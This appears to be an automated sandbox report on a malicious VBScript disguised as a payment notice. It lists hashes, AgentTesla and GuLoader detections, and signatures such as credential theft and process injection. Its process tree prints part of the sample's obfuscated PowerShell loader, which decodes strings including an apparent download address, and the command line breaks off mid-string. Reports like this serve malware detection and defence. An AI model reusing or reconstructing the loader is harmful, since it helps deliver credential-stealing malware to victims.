Edit tour
Windows
Analysis Report
OUTSTANDING PAYMENT STATUS 01199241024.vbs
Overview
General Information
| Sample name: | OUTSTANDING PAYMENT STATUS 01199241024.vbs |
| Analysis ID: | 1540844 |
| MD5: | 7fa14a09427be7ceba827276d7fd75dc |
| SHA1: | db51a4f0c0fd11413e428ef3af6669d28d4c924d |
| SHA256: | e1be3817c6710586dfbbab1ccd925975da7d0d1d41cf6cdd5fe6e8e29063b40c |
| Tags: | Formbookvbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
AgentTesla, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found suspicious powershell code related to unpacking or dynamic code loading
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Msiexec Initiated Connection
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: Suspicious Scan Loop Network
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5996 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\OUTST ANDING PAY MENT STATU S 01199241 024.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6800 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Sildef dningerne Retable ty ranniserer Kevutzoth Slagterbu tik Udefin eret Billi gelserne # >;$Prokura ens='Slgte n';<#Joble ssness Sej singers El ementarlad ningen Dis ownable Wi nterfeedin g #>;$Chee kbonesncav ate=$Salto meter+$hos t.UI; func tion Efter bevilget($ Semihydrat e){If ($Ch eekbonesnc avate) {$p hillipe++; }$Teetotal ism=$hunde r+$Semihyd rate.'Leng th'-$phill ipe; for( $Cheekbone s=5;$Cheek bones -lt $Teetotali sm;$Cheekb ones+=6){$ Bevillige= $Cheekbone s;$Kirtimu kha+=$Semi hydrate[$C heekbones] ;$Zirian=' Delegant'; }$Kirtimuk ha;}functi on Rationa liseringsg evinsten($ Herkan){ & ($Sope) ( $Herkan);} $Provokatr =Efterbevi lget 'pro yMfyrreoNo nadz Fodbi ,lasulT gn el WronaAn gam/Ov.rn ';$Provoka tr+=Efterb evilget ' Sl f5Makes .Cloth0Chi p Emoti( TranWS aci iHutchnGip sdd,onfio bl.gwKrims sshake Mat hiNSlartTO madr u vin 1M rty0 Ov er.Cou.t0R e,us; ira sapidWkomm ei I.fonDo c,s6Selsk4 Mart;Phle g AbortxFy rre6Facon4 Dist ;Larg e And,brLr erfvPic l: Fornj1 Su. d3 Jugo1Su per.semis0 Zoacu)Ejer k byggeGA veleSprgec ByghekKami ,oPolyp/Be trd2Relig0 Marg1Pusl e0 N,vl0 M ac 1Remme0 Kompl1,tat s Sner FSe lvfi Tvinr HamameJord bfConfooOp laexRa pa/ Fgte 1Thun e3Detal1Ha r w.Repro0 .atbr ';$L aulau=Efte rbevilget 'EfteruDih alsSphageU dklkrgrat, -PolypATrk niGbes,yEA hnfen uldk tForep ';$ dyrlgefore ningens=Ef terbevilge t 'Ud,ejh EjertRoejo t Jakopwhe yfs inka: Phil/Subsk / ubardByl derTotrii PhervBabco e Kiss..el vogInhaboF reloGolli gmel el st umeAffek.C iv lcTour oVolumm C. li/ VineuL sn ncP epr ?Snigme.ru thxAllmspS prayo Witc rUngratBo ga=Bio hd ubtoRan aw silicn D s il ,iseo I deeaNonevd Odont& Non wiSolandK ist=Katte1 UnsavMKomt eZV.scuMEn d mL Fami1 CyathuCote sicocklZAc etao Lign- Co prvPant .hnonlu3Ni laszYusarm B,osz Ant ecVejovpSt derfCo ciW HymenCenke lYOut,sh O nses Hardk arbejVJott iK Form3St ere9Sc ewG Fon mLProf uyMdt,a '; $Tetrapola r126=Efter bevilget ' Wilbu>Rein f ';$Sope= Efterbevil get ' Seku ICensueUnd .rx knhj ' ;$Mollycot 46='Leucoc hroic';$En teromegali a='\Mejeri ernes.Pra' ;Rationali seringsgev insten (Ef terbevilge t 'Ekspo$U nsadgInfra LPeridoT t tob UndiaU nderLDy,el :greenpplu teLBro eAD articRente ekevilHkry ddoGisprLb allodAlko Eintrar .o smsUlt a= A.pe$F atw eBldagNfab riv Unse:R ingrAKompe pMeltwPOpp osDExa,cAI mpovtEnred aPalme+U.t il$Squ mE ChaiNNou e tdeklae b. gsr I,dsoT ra.iMLuxem Ebr,acgSta tiaLjpesL GalaiGrebe afun n '); Rationalis eringsgevi nsten (Eft erbevilget 'Ind a$ N ondGNattol KirkeOBrys .BH mmeaDe t clS.bno: Sa,bAVaje eFu wormB milAEditoT Ce ilTAn i tENonpodKo ,taeFla e= Afk.s$Grat iDDel,uY P